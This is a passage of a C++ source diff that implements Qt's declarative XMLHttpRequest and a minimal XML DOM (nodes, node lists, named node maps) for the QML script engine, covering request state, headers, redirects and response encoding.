+ node->namespaceUri = reader.namespaceUri().toString();
+ node->name = reader.name().toString();
+ if (nodeStack.isEmpty()) {
+ document->root = node;
+ } else {
+ node->parent = nodeStack.top();
+ node->parent->children.append(node);
+ }
+ nodeStack.append(node);
+
+ foreach (const QXmlStreamAttribute &a, reader.attributes()) {
+ NodeImpl *attr = new NodeImpl;
+ attr->document = document;
+ attr->type = NodeImpl::Attr;
+ attr->namespaceUri = a.namespaceUri().toString();
+ attr->name = a.name().toString();
+ attr->data = a.value().toString();
+ attr->parent = node;
+ node->attributes.append(attr);
+ }
+ }
+ break;
+ case QXmlStreamReader::EndElement:
+ nodeStack.pop();
+ break;
+ case QXmlStreamReader::Characters:
+ {
+ NodeImpl *node = new NodeImpl;
+ node->document = document;
+ node->type = reader.isCDATA()?NodeImpl::CDATA:NodeImpl::Text;
+ node->parent = nodeStack.top();
+ node->parent->children.append(node);
+ node->data = reader.text().toString();
+ }
+ break;
+ case QXmlStreamReader::Comment:
+ break;
+ case QXmlStreamReader::DTD:
+ break;
+ case QXmlStreamReader::EntityReference:
+ break;
+ case QXmlStreamReader::ProcessingInstruction:
+ break;
+ }
+ }
+
+ if (!document || reader.hasError()) {
+ if (document) D(document);
+ return engine->nullValue();
+ }
+
+ QScriptValue instance = engine->newObject();
+ instance.setPrototype(Document::prototype(engine));
+ Node documentNode;
+ documentNode.d = document;
+ return engine->newVariant(instance, QVariant::fromValue(documentNode));
+}
+
+Node::Node()
+: d(0)
+{
+}
+
+Node::Node(const Node &o)
+: d(o.d)
+{
+ if (d) A(d);
+}
+
+Node::~Node()
+{
+ if (d) D(d);
+}
+
+bool Node::isNull() const
+{
+ return d == 0;
+}
+
+QScriptValue NamedNodeMap::length(QScriptContext *context, QScriptEngine *engine)
+{
+ NamedNodeMap map = qscriptvalue_cast<NamedNodeMap>(context->thisObject().data());
+ if (map.isNull()) return engine->undefinedValue();
+
+ return QScriptValue(map.list->count());
+}
+
+QScriptValue NamedNodeMap::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+
+ proto.setProperty(QLatin1String("length"), engine->newFunction(length), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+
+ return proto;
+}
+
+QScriptValue NamedNodeMap::create(QScriptEngine *engine, NodeImpl *data, QList<NodeImpl *> *list)
+{
+ QScriptValue instance = engine->newObject();
+ instance.setPrototype(NamedNodeMap::prototype(engine));
+
+ NamedNodeMap map;
+ map.d = data;
+ map.list = list;
+ if (data) A(data);
+
+ instance.setData(engine->newVariant(QVariant::fromValue(map)));
+
+ if (!QDeclarativeScriptEngine::get(engine)->namedNodeMapClass)
+ QDeclarativeScriptEngine::get(engine)->namedNodeMapClass= new NamedNodeMapClass(engine);
+
+ instance.setScriptClass(QDeclarativeScriptEngine::get(engine)->namedNodeMapClass);
+
+ return instance;
+}
+
+NamedNodeMap::NamedNodeMap()
+: d(0), list(0)
+{
+}
+
+NamedNodeMap::NamedNodeMap(const NamedNodeMap &o)
+: d(o.d), list(o.list)
+{
+ if (d) A(d);
+}
+
+NamedNodeMap::~NamedNodeMap()
+{
+ if (d) D(d);
+}
+
+bool NamedNodeMap::isNull()
+{
+ return d == 0;
+}
+
+QScriptValue NodeList::length(QScriptContext *context, QScriptEngine *engine)
+{
+ NodeList list = qscriptvalue_cast<NodeList>(context->thisObject().data());
+ if (list.isNull()) return engine->undefinedValue();
+
+ return QScriptValue(list.d->children.count());
+}
+
+QScriptValue NodeList::prototype(QScriptEngine *engine)
+{
+ QScriptValue proto = engine->newObject();
+
+ proto.setProperty(QLatin1String("length"), engine->newFunction(length), QScriptValue::ReadOnly | QScriptValue::PropertyGetter);
+
+ return proto;
+}
+
+QScriptValue NodeList::create(QScriptEngine *engine, NodeImpl *data)
+{
+ QScriptValue instance = engine->newObject();
+ instance.setPrototype(NodeList::prototype(engine));
+
+ NodeList list;
+ list.d = data;
+ if (data) A(data);
+
+ instance.setData(engine->newVariant(QVariant::fromValue(list)));
+
+ if (!QDeclarativeScriptEngine::get(engine)->nodeListClass)
+ QDeclarativeScriptEngine::get(engine)->nodeListClass= new NodeListClass(engine);
+
+ instance.setScriptClass(QDeclarativeScriptEngine::get(engine)->nodeListClass);
+
+ return instance;
+}
+
+NodeList::NodeList()
+: d(0)
+{
+}
+
+NodeList::NodeList(const NodeList &o)
+: d(o.d)
+{
+ if (d) A(d);
+}
+
+NodeList::~NodeList()
+{
+ if (d) D(d);
+}
+
+bool NodeList::isNull()
+{
+ return d == 0;
+}
+
+NamedNodeMapClass::QueryFlags NamedNodeMapClass::queryProperty(const QScriptValue &object, const QScriptString &name, QueryFlags flags, uint *id)
+{
+ if (!(flags & HandlesReadAccess))
+ return 0;
+
+ NamedNodeMap map = qscriptvalue_cast<NamedNodeMap>(object.data());
+ Q_ASSERT(!map.isNull());
+
+ bool ok = false;
+ QString nameString = name.toString();
+ uint index = nameString.toUInt(&ok);
+ if (ok) {
+ if ((uint)map.list->count() <= index)
+ return 0;
+
+ *id = index;
+ return HandlesReadAccess;
+ } else {
+ for (int ii = 0; ii < map.list->count(); ++ii) {
+ if (map.list->at(ii) && map.list->at(ii)->name == nameString) {
+ *id = ii;
+ return HandlesReadAccess;
+ }
+ }
+ }
+
+ return 0;
+}
+
+QScriptValue NamedNodeMapClass::property(const QScriptValue &object, const QScriptString &, uint id)
+{
+ NamedNodeMap map = qscriptvalue_cast<NamedNodeMap>(object.data());
+ return Node::create(engine(), map.list->at(id));
+}
+
+NodeListClass::QueryFlags NodeListClass::queryProperty(const QScriptValue &object, const QScriptString &name, QueryFlags flags, uint *id)
+{
+ if (!(flags & HandlesReadAccess))
+ return 0;
+
+ bool ok = false;
+ uint index = name.toString().toUInt(&ok);
+ if (!ok)
+ return 0;
+
+ NodeList list = qscriptvalue_cast<NodeList>(object.data());
+ if (list.isNull() || (uint)list.d->children.count() <= index)
+ return 0; // ### I think we're meant to raise an exception
+
+ *id = index;
+ return HandlesReadAccess;
+}
+
+QScriptValue NodeListClass::property(const QScriptValue &object, const QScriptString &, uint id)
+{
+ NodeList list = qscriptvalue_cast<NodeList>(object.data());
+ return Node::create(engine(), list.d->children.at(id));
+}
+
+QScriptValue Document::documentElement(QScriptContext *context, QScriptEngine *engine)
+{
+ Node document = qscriptvalue_cast<Node>(context->thisObject());
+ if (document.isNull() || document.d->type != NodeImpl::Document) return engine->undefinedValue();
+
+ return Node::create(engine, static_cast<DocumentImpl *>(document.d)->root);
+}
+
+QScriptValue Document::xmlStandalone(QScriptContext *context, QScriptEngine *engine)
+{
+ Node document = qscriptvalue_cast<Node>(context->thisObject());
+ if (document.isNull() || document.d->type != NodeImpl::Document) return engine->undefinedValue();
+
+ return QScriptValue(static_cast<DocumentImpl *>(document.d)->isStandalone);
+}
+
+QScriptValue Document::xmlVersion(QScriptContext *context, QScriptEngine *engine)
+{
+ Node document = qscriptvalue_cast<Node>(context->thisObject());
+ if (document.isNull() || document.d->type != NodeImpl::Document) return engine->undefinedValue();
+
+ return QScriptValue(static_cast<DocumentImpl *>(document.d)->version);
+}
+
+QScriptValue Document::xmlEncoding(QScriptContext *context, QScriptEngine *engine)
+{
+ Node document = qscriptvalue_cast<Node>(context->thisObject());
+ if (document.isNull() || document.d->type != NodeImpl::Document) return engine->undefinedValue();
+
+ return QScriptValue(static_cast<DocumentImpl *>(document.d)->encoding);
+}
+
+class QDeclarativeXMLHttpRequest : public QObject
+{
+Q_OBJECT
+public:
+ enum State { Unsent = 0,
+ Opened = 1, HeadersReceived = 2,
+ Loading = 3, Done = 4 };
+
+ QDeclarativeXMLHttpRequest(QNetworkAccessManager *manager);
+ virtual ~QDeclarativeXMLHttpRequest();
+
+ bool sendFlag() const;
+ bool errorFlag() const;
+ quint32 readyState() const;
+ int replyStatus() const;
+ QString replyStatusText() const;
+
+ QScriptValue open(QScriptValue *me, const QString &, const QUrl &);
+
+ void addHeader(const QString &, const QString &);
+ QString header(const QString &name);
+ QString headers();
+ QScriptValue send(QScriptValue *me, const QByteArray &);
+ QScriptValue abort(QScriptValue *me);
+
+ QString responseBody();
+ const QByteArray & rawResponseBody() const;
+ bool receivedXml() const;
+private slots:
+ void downloadProgress(qint64);
+ void error(QNetworkReply::NetworkError);
+ void finished();
+
+private:
+ void requestFromUrl(const QUrl &url);
+
+ State m_state;
+ bool m_errorFlag;
+ bool m_sendFlag;
+ QString m_method;
+ QUrl m_url;
+ QByteArray m_responseEntityBody;
+ QByteArray m_data;
+ int m_redirectCount;
+
+ typedef QPair<QByteArray, QByteArray> HeaderPair;
+ typedef QList<HeaderPair> HeadersList;
+ HeadersList m_headersList;
+ void fillHeadersList();
+
+ bool m_gotXml;
+ QByteArray m_mime;
+ QByteArray m_charset;
+ QTextCodec *m_textCodec;
+#ifndef QT_NO_TEXTCODEC
+ QTextCodec* findTextCodec() const;
+#endif
+ void readEncoding();
+
+ QScriptValue m_me; // Set to the data object while a send() is ongoing (to access the callback)
+
+ QScriptValue dispatchCallback(QScriptValue *me);
+ void printError(const QScriptValue&);
+
+ int m_status;
+ QString m_statusText;
+ QNetworkRequest m_request;
+ QDeclarativeGuard<QNetworkReply> m_network;
+ void destroyNetwork();
+
+ QNetworkAccessManager *m_nam;
+ QNetworkAccessManager *networkAccessManager() { return m_nam; }
+};
+
+QDeclarativeXMLHttpRequest::QDeclarativeXMLHttpRequest(QNetworkAccessManager *manager)
+: m_state(Unsent), m_errorFlag(false), m_sendFlag(false),
+ m_redirectCount(0), m_gotXml(false), m_textCodec(0), m_network(0), m_nam(manager)
+{
+}
+
+QDeclarativeXMLHttpRequest::~QDeclarativeXMLHttpRequest()
+{
+ destroyNetwork();
+}
+
+bool QDeclarativeXMLHttpRequest::sendFlag() const
+{
+ return m_sendFlag;
+}
+
+bool QDeclarativeXMLHttpRequest::errorFlag() const
+{
+ return m_errorFlag;
+}
+
+quint32 QDeclarativeXMLHttpRequest::readyState() const
+{
+ return m_state;
+}
+
+int QDeclarativeXMLHttpRequest::replyStatus() const
+{
+ return m_status;
+}
+
+QString QDeclarativeXMLHttpRequest::replyStatusText() const
+{
+ return m_statusText;
+}
+
+QScriptValue QDeclarativeXMLHttpRequest::open(QScriptValue *me, const QString &method, const QUrl &url)
+{
+ destroyNetwork();
+ m_sendFlag = false;
+ m_errorFlag = false;
+ m_responseEntityBody = QByteArray();
+ m_method = method;
+ m_url = url;
+ m_state = Opened;
+ return dispatchCallback(me);
+}
+
+void QDeclarativeXMLHttpRequest::addHeader(const QString &name, const QString &value)
+{
+ QByteArray utfname = name.toUtf8();
+
+ if (m_request.hasRawHeader(utfname)) {
+ m_request.setRawHeader(utfname, m_request.rawHeader(utfname) + ',' + value.toUtf8());
+ } else {
+ m_request.setRawHeader(utfname, value.toUtf8());
+ }
+}
+
+QString QDeclarativeXMLHttpRequest::header(const QString &name)
+{
+ QByteArray utfname = name.toLower().toUtf8();
+
+ foreach (const HeaderPair &header, m_headersList) {
+ if (header.first == utfname)
+ return QString::fromUtf8(header.second);
+ }
+ return QString();
+}
+
+QString QDeclarativeXMLHttpRequest::headers()
+{
+ QString ret;
+
+ foreach (const HeaderPair &header, m_headersList) {
+ if (ret.length())
+ ret.append(QLatin1String("\r\n"));
+ ret = ret % QString::fromUtf8(header.first) % QLatin1String(": ")
+ % QString::fromUtf8(header.second);
+ }
+ return ret;
+}
+
+void QDeclarativeXMLHttpRequest::fillHeadersList()
+{
+ QList<QByteArray> headerList = m_network->rawHeaderList();
+
+ m_headersList.clear();
+ foreach (const QByteArray &header, headerList) {
+ HeaderPair pair (header.toLower(), m_network->rawHeader(header));
+ if (pair.first == "set-cookie" ||
+ pair.first == "set-cookie2")
+ continue;
+
+ m_headersList << pair;
+ }
+}
+
+void QDeclarativeXMLHttpRequest::requestFromUrl(const QUrl &url)
+{
+ QNetworkRequest request = m_request;
+ request.setUrl(url);
+ if(m_method == QLatin1String("POST") ||
+ m_method == QLatin1String("PUT")) {
+ QVariant var = request.header(QNetworkRequest::ContentTypeHeader);
+ if (var.isValid()) {
+ QString str = var.toString();
+ int charsetIdx = str.indexOf(QLatin1String("charset="));
+ if (charsetIdx == -1) {
+ // No charset - append
+ if (!str.isEmpty()) str.append(QLatin1Char(';'));
+ str.append(QLatin1String("charset=UTF-8"));
+ } else {
+ charsetIdx += 8;
+ int n = 0;
+ int semiColon = str.indexOf(QLatin1Char(';'), charsetIdx);
+ if (semiColon == -1) {
+ n = str.length() - charsetIdx;
+ } else {
+ n = semiColon - charsetIdx;
+ }
+
+ str.replace(charsetIdx, n, QLatin1String("UTF-8"));
+ }
+ request.setHeader(QNetworkRequest::ContentTypeHeader, str);
+ } else {
+ request.setHeader(QNetworkRequest::ContentTypeHeader,
+ QLatin1String("text/plain;charset=UTF-8"));
+ }
+ }
+
+ if (xhrDump()) {
+ qWarning().nospace() << "XMLHttpRequest: " << qPrintable(m_method) << " " << qPrintable(url.toString());
+ if (!m_data.isEmpty()) {
+ qWarning().nospace() << " "
+ << qPrintable(QString::fromUtf8(m_data));
+ }
+ }
+
+ if (m_method == QLatin1String("GET"))
+ m_network = networkAccessManager()->get(request);
+ else if (m_method == QLatin1String("HEAD"))
+ m_network = networkAccessManager()->head(request);
+ else if(m_method == QLatin1String("POST"))
+ m_network = networkAccessManager()->post(request, m_data);
+ else if(m_method == QLatin1String("PUT"))
+ m_network = networkAccessManager()->put(request, m_data);
+
+ QObject::connect(m_network, SIGNAL(downloadProgress(qint64,qint64)),
+ this, SLOT(downloadProgress(qint64)));
+ QObject::connect(m_network, SIGNAL(error(QNetworkReply::NetworkError)),
+ this, SLOT(error(QNetworkReply::NetworkError)));
+ QObject::connect(m_network, SIGNAL(finished()),
+ this, SLOT(finished()));
+}
+
+QScriptValue QDeclarativeXMLHttpRequest::send(QScriptValue *me, const QByteArray &data)
+{
+ m_errorFlag = false;
+ m_sendFlag = true;
+ m_redirectCount = 0;
+ m_data = data;
+ m_me = *me;
+
+ requestFromUrl(m_url);
+
+ return QScriptValue();
+}
+
+QScriptValue QDeclarativeXMLHttpRequest::abort(QScriptValue *me)
+{
+ destroyNetwork();
+ m_responseEntityBody = QByteArray();
+ m_errorFlag = true;
+ m_request = QNetworkRequest();
+
+ if (!(m_state == Unsent ||
+ (m_state == Opened && !m_sendFlag) ||
+ m_state == Done)) {
+
+ m_state = Done;
+ m_sendFlag = false;
+ QScriptValue cbv = dispatchCallback(me);
+ if (cbv.isError()) return cbv;
+ }
+
+ m_state = Unsent;
+ return QScriptValue();
+}
+
+void QDeclarativeXMLHttpRequest::downloadProgress(qint64 bytes)
+{
+ Q_UNUSED(bytes)
+ m_status =
+ m_network->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
+ m_statusText =
+ QString::fromUtf8(m_network->attribute(QNetworkRequest::HttpReasonPhraseAttribute).toByteArray());
+
+ // ### We assume if this is called the headers are now available
+ if (m_state < HeadersReceived) {
+ m_state = HeadersReceived;
+ fillHeadersList ();
+ QScriptValue cbv = dispatchCallback(&m_me);
+ if (cbv.isError()) printError(cbv);
+ }
+
+ bool wasEmpty = m_responseEntityBody.isEmpty();
+ m_responseEntityBody.append(m_network->readAll());
+ if (wasEmpty && !m_responseEntityBody.isEmpty()) {
+ m_state = Loading;
+ QScriptValue cbv = dispatchCallback(&m_me);
+ if (cbv.isError()) printError(cbv);
+ }
+}
+
+void QDeclarativeXMLHttpRequest::error(QNetworkReply::NetworkError error)
+{
+ Q_UNUSED(error)
+ m_status =
+ m_network->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
+ m_statusText =
+ QString::fromUtf8(m_network->attribute(QNetworkRequest::HttpReasonPhraseAttribute).toByteArray());
+
+ m_responseEntityBody = QByteArray();
+
+ m_request = QNetworkRequest();
+ m_data.clear();
+ destroyNetwork();
+
+ if (error == QNetworkReply::ContentAccessDenied ||
+ error == QNetworkReply::ContentOperationNotPermittedError ||
+ error == QNetworkReply::ContentNotFoundError ||
+ error == QNetworkReply::AuthenticationRequiredError ||
+ error == QNetworkReply::ContentReSendError) {
+ m_state = Loading;
+ QScriptValue cbv = dispatchCallback(&m_me);
+ if (cbv.isError()) printError(cbv);
+ } else {
+ m_errorFlag = true;
+ }
+
+ m_state = Done;
+ QScriptValue cbv = dispatchCallback(&m_me);
+ if (cbv.isError()) printError(cbv);
+}
+
+#define XMLHTTPREQUEST_MAXIMUM_REDIRECT_RECURSION 15
+void QDeclarativeXMLHttpRequest::finished()
+{
+ m_redirectCount++;
+ if (m_redirectCount < XMLHTTPREQUEST_MAXIMUM_REDIRECT_RECURSION) {
+ QVariant redirect = m_network->attribute(QNetworkRequest::RedirectionTargetAttribute);
+ if (redirect.isValid()) {
+ QUrl url = m_network->url().resolved(redirect.toUrl());
+ destroyNetwork();
+ requestFromUrl(url);
+ return;
+ }
+ }
+
+ m_status =
+ m_network->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt();
+ m_statusText =
+ QString::fromUtf8(m_network->attribute(QNetworkRequest::HttpReasonPhraseAttribute).toByteArray());
+
+ if (m_state < HeadersReceived) {
+ m_state = HeadersReceived;
+ fillHeadersList ();
+ QScriptValue cbv = dispatchCallback(&m_me);
+ if (cbv.isError()) printError(cbv);
+ }
+ m_responseEntityBody.append(m_network->readAll());
+ readEncoding();
+
+ if (xhrDump()) {
+ qWarning().nospace() << "XMLHttpRequest: RESPONSE " << qPrintable(m_url.toString());
+ if (!m_responseEntityBody.isEmpty()) {
+ qWarning().nospace() << " "
+ << qPrintable(QString::fromUtf8(m_responseEntityBody));
+ }
+ }
+
+
+ m_data.clear();
+ destroyNetwork();
+ if (m_state < Loading) {
+ m_state = Loading;
+ QScriptValue cbv = dispatchCallback(&m_me);
+ if (cbv.isError()) printError(cbv);
+ }
+ m_state = Done;
+ QScriptValue cbv = dispatchCallback(&m_me);
+ if (cbv.isError()) printError(cbv);
+
+ m_me = QScriptValue();
+}
+
+
+void QDeclarativeXMLHttpRequest::readEncoding()
+{
+ foreach (const HeaderPair &header, m_headersList) {
+ if (header.first == "content-type") {
+ int separatorIdx = header.second.indexOf(';');
+ if (separatorIdx == -1) {
+ m_mime == header.second;
+ } else {
+ m_mime = header.second.mid(0, separatorIdx);
+ int charsetIdx = header.second.indexOf("charset=");
+ if (charsetIdx != -1) {
+ charsetIdx += 8;
+ separatorIdx = header.second.indexOf(';', charsetIdx);
+ m_charset = header.second.mid(charsetIdx, separatorIdx >= 0 ? separatorIdx : header.second.length());
+ }
+ }
+ break;
+ }
+ }
+
+ if (m_mime.isEmpty() || m_mime == "text/xml" || m_mime == "application/xml" || m_mime.endsWith("+xml"))
+ m_gotXml = true;
+}
+
+bool QDeclarativeXMLHttpRequest::receivedXml() const
+{
+ return m_gotXml;
+}
+
+
+#ifndef QT_NO_TEXTCODEC
+QTextCodec* QDeclarativeXMLHttpRequest::findTextCodec() const
+{
+ QTextCodec *codec = 0;
+
+ if (!m_charset.isEmpty())
+ codec = QTextCodec::codecForName(m_charset);
+
+ if (!codec && m_gotXml) {
+ QXmlStreamReader reader(m_responseEntityBody);
+ reader.readNext();
+ codec = QTextCodec::codecForName(reader.documentEncoding().toString().toUtf8());
+ }
+
+ if (!codec && m_mime == "text/html")
+ codec = QTextCodec::codecForHtml(m_responseEntityBody, 0);
+
+ if (!codec)
+ codec = QTextCodec::codecForUtfText(m_responseEntityBody, 0);
+
+ if (!codec)
+ codec = QTextCodec::codecForName("UTF-8");
+ return codec;
+}
+#endif
+
+
+QString QDeclarativeXMLHttpRequest::responseBody()
+{
+#ifndef QT_NO_TEXTCODEC
+ if (!m_textCodec)
+ m_textCodec = findTextCodec();
+ if (m_textCodec)
+ return m_textCodec->toUnicode(m_responseEntityBody);
+#endif
+
+ return QString::fromUtf8(m_responseEntityBody);
+}
+
+const QByteArray &QDeclarativeXMLHttpRequest::rawResponseBody() const
+{
+ return m_responseEntityBody;
+}
+
+QScriptValue QDeclarativeXMLHttpRequest::dispatchCallback(QScriptValue *me)
+{
+ QScriptValue v = me->property(QLatin1String("callback"));
+ return v.call();
+}
+
+void QDeclarativeXMLHttpRequest::printError(const QScriptValue& sv)
+{
+ QDeclarativeError error;
+ QDeclarativeExpressionPrivate::exceptionToError(sv.engine(), error);
+ QDeclarativeEnginePrivate::warning(QDeclarativeEnginePrivate::get(sv.engine()), error);
+}
+
+void QDeclarativeXMLHttpRequest::destroyNetwork()
+{
+ if (m_network) {
+ m_network->disconnect();
+ m_network->deleteLater();
+ m_network = 0;
+ }
+}
+
+// XMLHttpRequest methods
+static QScriptValue qmlxmlhttprequest_open(QScriptContext *context, QScriptEngine *engine)
+{
+ QScriptValue dataObject = context->thisObject().data();
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(dataObject.toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (context->argumentCount() < 2 || context->argumentCount() > 5)
+ THROW_DOM(SYNTAX_ERR, "Incorrect argument count");
+
+ // Argument 0 - Method
+ QString method = context->argument(0).toString().toUpper();
+ if (method != QLatin1String("GET") &&
+ method != QLatin1String("PUT") &&
+ method != QLatin1String("HEAD") &&
+ method != QLatin1String("POST"))
+ THROW_DOM(SYNTAX_ERR, "Unsupported HTTP method type");
+
+
+ // Argument 1 - URL
+ QUrl url = QUrl::fromEncoded(context->argument(1).toString().toUtf8());
+
+ if (url.isRelative()) {
+ url = QDeclarativeScriptEngine::get(engine)->resolvedUrl(context,url);
+ }
+
+ // Argument 2 - async (optional)
+ if (context->argumentCount() > 2 && !context->argument(2).toBoolean())
+ THROW_DOM(NOT_SUPPORTED_ERR, "Synchronous XMLHttpRequest calls are not supported");
+
+
+ // Argument 3/4 - user/pass (optional)
+ QString username, password;
+ if (context->argumentCount() > 3)
+ username = context->argument(3).toString();
+ if (context->argumentCount() > 4)
+ password = context->argument(4).toString();
+
+
+ // Clear the fragment (if any)
+ url.setFragment(QString());
+ // Set username/password
+ if (!username.isNull()) url.setUserName(username);
+ if (!password.isNull()) url.setPassword(password);
+
+ return request->open(&dataObject, method, url);
+}
+
+static QScriptValue qmlxmlhttprequest_setRequestHeader(QScriptContext *context, QScriptEngine *engine)
+{
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(context->thisObject().data().toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (context->argumentCount() != 2)
+ THROW_DOM(SYNTAX_ERR, "Incorrect argument count");
+
+
+ if (request->readyState() != QDeclarativeXMLHttpRequest::Opened ||
+ request->sendFlag())
+ THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+
+
+ QString name = context->argument(0).toString();
+ QString value = context->argument(1).toString();
+
+ // ### Check that name and value are well formed
+
+ QString nameUpper = name.toUpper();
+ if (nameUpper == QLatin1String("ACCEPT-CHARSET") ||
+ nameUpper == QLatin1String("ACCEPT-ENCODING") ||
+ nameUpper == QLatin1String("CONNECTION") ||
+ nameUpper == QLatin1String("CONTENT-LENGTH") ||
+ nameUpper == QLatin1String("COOKIE") ||
+ nameUpper == QLatin1String("COOKIE2") ||
+ nameUpper == QLatin1String("CONTENT-TRANSFER-ENCODING") ||
+ nameUpper == QLatin1String("DATE") ||
+ nameUpper == QLatin1String("EXPECT") ||
+ nameUpper == QLatin1String("HOST") ||
+ nameUpper == QLatin1String("KEEP-ALIVE") ||
+ nameUpper == QLatin1String("REFERER") ||
+ nameUpper == QLatin1String("TE") ||
+ nameUpper == QLatin1String("TRAILER") ||
+ nameUpper == QLatin1String("TRANSFER-ENCODING") ||
+ nameUpper == QLatin1String("UPGRADE") ||
+ nameUpper == QLatin1String("USER-AGENT") ||
+ nameUpper == QLatin1String("VIA") ||
+ nameUpper.startsWith(QLatin1String("PROXY-")) ||
+ nameUpper.startsWith(QLatin1String("SEC-")))
+ return engine->undefinedValue();
+
+ request->addHeader(nameUpper, value);
+
+ return engine->undefinedValue();
+}
+
+static QScriptValue qmlxmlhttprequest_send(QScriptContext *context, QScriptEngine *)
+{
+ QScriptValue dataObject = context->thisObject().data();
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(dataObject.toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (request->readyState() != QDeclarativeXMLHttpRequest::Opened)
+ THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+
+ if (request->sendFlag())
+ THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+
+ QByteArray data;
+ if (context->argumentCount() > 0)
+ data = context->argument(0).toString().toUtf8();
+
+ return request->send(&dataObject, data);
+}
+
+static QScriptValue qmlxmlhttprequest_abort(QScriptContext *context, QScriptEngine *)
+{
+ QScriptValue dataObject = context->thisObject().data();
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(dataObject.toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ return request->abort(&dataObject);
+}
+
+static QScriptValue qmlxmlhttprequest_getResponseHeader(QScriptContext *context, QScriptEngine *engine)
+{
+ Q_UNUSED(engine)
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(context->thisObject().data().toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (context->argumentCount() != 1)
+ THROW_DOM(SYNTAX_ERR, "Incorrect argument count");
+
+ if (request->readyState() != QDeclarativeXMLHttpRequest::Loading &&
+ request->readyState() != QDeclarativeXMLHttpRequest::Done &&
+ request->readyState() != QDeclarativeXMLHttpRequest::HeadersReceived)
+ THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+
+ QString headerName = context->argument(0).toString();
+
+ return QScriptValue(request->header(headerName));
+}
+
+static QScriptValue qmlxmlhttprequest_getAllResponseHeaders(QScriptContext *context, QScriptEngine *engine)
+{
+ Q_UNUSED(engine)
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(context->thisObject().data().toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (context->argumentCount() != 0)
+ THROW_DOM(SYNTAX_ERR, "Incorrect argument count");
+
+ if (request->readyState() != QDeclarativeXMLHttpRequest::Loading &&
+ request->readyState() != QDeclarativeXMLHttpRequest::Done &&
+ request->readyState() != QDeclarativeXMLHttpRequest::HeadersReceived)
+ THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+
+ return QScriptValue(request->headers());
+}
+
+// XMLHttpRequest properties
+static QScriptValue qmlxmlhttprequest_readyState(QScriptContext *context, QScriptEngine *engine)
+{
+ Q_UNUSED(engine)
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(context->thisObject().data().toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ return QScriptValue(request->readyState());
+}
+
+static QScriptValue qmlxmlhttprequest_status(QScriptContext *context, QScriptEngine *engine)
+{
+ Q_UNUSED(engine)
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(context->thisObject().data().toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (request->readyState() == QDeclarativeXMLHttpRequest::Unsent ||
+ request->readyState() == QDeclarativeXMLHttpRequest::Opened)
+ THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+
+ if (request->errorFlag())
+ return QScriptValue(0);
+ else
+ return QScriptValue(request->replyStatus());
+}
+
+static QScriptValue qmlxmlhttprequest_statusText(QScriptContext *context, QScriptEngine *engine)
+{
+ Q_UNUSED(engine)
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(context->thisObject().data().toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (request->readyState() == QDeclarativeXMLHttpRequest::Unsent ||
+ request->readyState() == QDeclarativeXMLHttpRequest::Opened)
+ THROW_DOM(INVALID_STATE_ERR, "Invalid state");
+
+ if (request->errorFlag())
+ return QScriptValue(0);
+ else
+ return QScriptValue(request->replyStatusText());
+}
+
+static QScriptValue qmlxmlhttprequest_responseText(QScriptContext *context, QScriptEngine *engine)
+{
+ Q_UNUSED(engine)
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(context->thisObject().data().toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (request->readyState() != QDeclarativeXMLHttpRequest::Loading &&
+ request->readyState() != QDeclarativeXMLHttpRequest::Done)
+ return QScriptValue(QString());
+ else
+ return QScriptValue(request->responseBody());
+}
+
+static QScriptValue qmlxmlhttprequest_responseXML(QScriptContext *context, QScriptEngine *engine)
+{
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(context->thisObject().data().toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (!request->receivedXml() ||
+ (request->readyState() != QDeclarativeXMLHttpRequest::Loading &&
+ request->readyState() != QDeclarativeXMLHttpRequest::Done))
+ return engine->nullValue();
+ else
+ return Document::load(engine, request->rawResponseBody());
+}
+
+static QScriptValue qmlxmlhttprequest_onreadystatechange(QScriptContext *context, QScriptEngine *engine)
+{
+ Q_UNUSED(engine);
+ QScriptValue dataObject = context->thisObject().data();
+ QDeclarativeXMLHttpRequest *request = qobject_cast<QDeclarativeXMLHttpRequest *>(dataObject.toQObject());
+ if (!request)
+ THROW_REFERENCE("Not an XMLHttpRequest object");
+
+ if (context->argumentCount()) {
+ QScriptValue v = context->argument(0);
+ dataObject.setProperty(QLatin1String("callback"), v);
